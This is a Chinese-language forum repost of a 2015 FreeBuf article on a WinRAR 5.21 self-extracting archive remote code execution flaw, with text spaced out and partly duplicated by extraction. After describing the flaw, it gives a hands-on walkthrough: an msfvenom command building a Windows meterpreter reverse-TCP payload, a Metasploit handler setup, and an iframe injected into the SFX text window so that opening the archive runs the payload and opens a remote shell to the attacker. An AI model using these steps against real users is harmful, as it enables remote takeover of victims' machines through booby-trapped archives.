搜索

[9402] 2015-10-02_WinRAR0day漏洞(附利用过程)

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-17
2015-10-02_WinRAR0day漏洞(附利用过程) W i n R A R   0 d a y 漏 洞   ( 附 利 用 过 程 ) F r e e B u f   2 0 1 5 - 1 0 - 0 2 英 国 安 全 机 构 英 国 安 全 机 构 M o h a m m a d   R e z a   E s p a r g h a m 的 漏 洞 实 验 室 发 现 ， 流 行 压 缩 工 具 的 漏 洞 实 验 室 发 现 ， 流 行 压 缩 工 具 W i n R A R   5 . 2 1 最 新 版 里 存 在 一 个 安 全 漏 最 新 版 里 存 在 一 个 安 全 漏 洞 ， 目 前 该 漏 洞 还 属 于 零 日 漏 洞 ， 同 时 官 方 正 在 全 力 修 补 该 漏 洞 。 同 时 报 告 该 问 题 的 还 有 洞 ， 目 前 该 漏 洞 还 属 于 零 日 漏 洞 ， 同 时 官 方 正 在 全 力 修 补 该 漏 洞 。 同 时 报 告 该 问 题 的 还 有 M a l w a r e b y t e s 的 的   P i e t e r A r n t z 。 。 英 国 安 全 机 构 M o h a m m a d   R e z a   E s p a r g h a m 的 漏 洞 实 验 室 同 时 发 现 当 用 户 打 开 S F X 文 件 时 ， 攻 击 者 可 利 用 该 漏 洞 远 程 执 行 恶 意 代 码 。 W i n R A R 是 一 个 用 于 压 缩 和 解 压 缩 的 应 用 程 序 ， 有 超 过 5 亿 的 设 备 正 在 使 用 同 时 也 是 最 受 欢 迎 的 实 用 程 序 之 一 。 因 此 发 现 该 漏 洞 时 被 定 性 为 “ 高 危 级 ” ， 危 险 指 数 9 。 攻 击 者 可 以 利 用 该 漏 洞 ， 创 建 自 解 压 文 件 同 时 将 恶 意 H T M L 代 码 插 入 到 创 建 新 S F X 文 件 的 文 字 显 示 窗 口 中 。
利 用 该 漏 洞 之 前 攻 击 者 并 不 需 要 任 何 提 权 措 施 。 在 给 受 害 用 户 发 送 受 感 染 的 文 件 后 ， 不 管 何 时 加 载 该 文 档 ， 恶 意 代 码 都 会 正 常 执 行 。 同 时 允 许 攻 击 者 远 程 查 看 设 备 一 些 信 息 。 需 要 说 明 的 是 ， 攻 击 者 利 用 该 漏 洞 之 前 并 不 需 要 任 何 提 权 措 施 。 由 于 受 攻 击 目 标 使 用 S F X 文 件 较 为 频 繁 ， 因 此 攻 击 者 成 功 的 概 率 会 非 常 大 。 同 时 如 果 攻 击 者 不 怀 好 意 那 么 S F X 文 件 一 旦 被 打 开 ， 后 果 将 不 堪 设 想 。 目 前 官 方 正 在 积 极 修 补 该 漏 洞 ， 同 时 建 议 不 要 打 开 来 源 不 明 的 压 缩 文 件 ， 以 及 随 时 更 新 自 己 的 压 缩 软 件 。 下 面 附 上 本 人 亲 自 试 验 做 的 例 子 环 境 W i n d o w s 7   k a l i   L i n u x 工 具 m e t a s p l o i t 在 虚 拟 机 运 行 k a l i l i n u x 以 及 W i n d o w s 7 然 后 开 始 监 听 目 标 主 机 终 端 输 入 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 7   L P O R T = 8 0 8 0   - f   e x e   > / v a r / w w w / h t m l / b . e x e c h m o d   - R   7 7 7   / v a r / w w w / h t m l /
打 开 m e t a s p l o i t m s f c o n s o l e 加 载 利 用 模 块 监 听 目 标 主 机 i p   1 9 2 . 1 6 8 . 1 . 7 ， 端 口 8 0 8 0 执 行 u s e   e x p l o i t / m u l t i / h a n d l e r s e t   P A Y L O A D S   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 7 s e t   L P O R T   8 0 8 0 e x p l o i t 现 在 到 W i n d o w s 7 创 建 自 解 压 文 件
进 入 高 级 选 项 在 文 字 提 示 窗 口 输 入 恶 意 代 码 如 下 < i f r a m e   s r c = " 你 定 义 的 目 标 主 机 I P 以 及 文 件 名 " > < / i f r a m e >
然 后 一 直 确 定 就 会 出 现 一 个 文 件 名 称 中 带 有 s f x 的 可 执 行 文 件 ， 双 击 执 行 之 后 k a l i   L i n u x 中 一 直 监 听 目 标 机 器 的 程 序 就 会 出 现 你 目 标 主 机 的 配 置 信 息 。 过 程 总 结 过 程 总 结 上 面 模 拟 了 恶 意 攻 击 者 攻 击 过 程 ， 将 放 有 恶 意 代 码 的 压 缩 文 件 发 送 给 受 害 者 ， 受 害 者 打 开 执 行 压 缩 文 件 之 后 ， 远 程 代 码 同 时 执 行 ， 恶 意 攻 击 者 就 会 获 取 目 标 主 机 的 信 息 以 及 配 置 情 况 。 有 感 兴 趣 的 小 伙 伴 我 这 里 有 视 频 中 的 代 码 ， 可 以 自 己 模 拟 一 下 h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m / f i l e s / 1 3 3 7 1 9 / W i n R a R - S F X - R e m o t e - C o d e - E x e c u t i o n . h t m l * 本 文 由 亲 爱 的 兔 子 编 译 ， 转 载 须 注 明 来 自 本 文 由 亲 爱 的 兔 子 编 译 ， 转 载 须 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理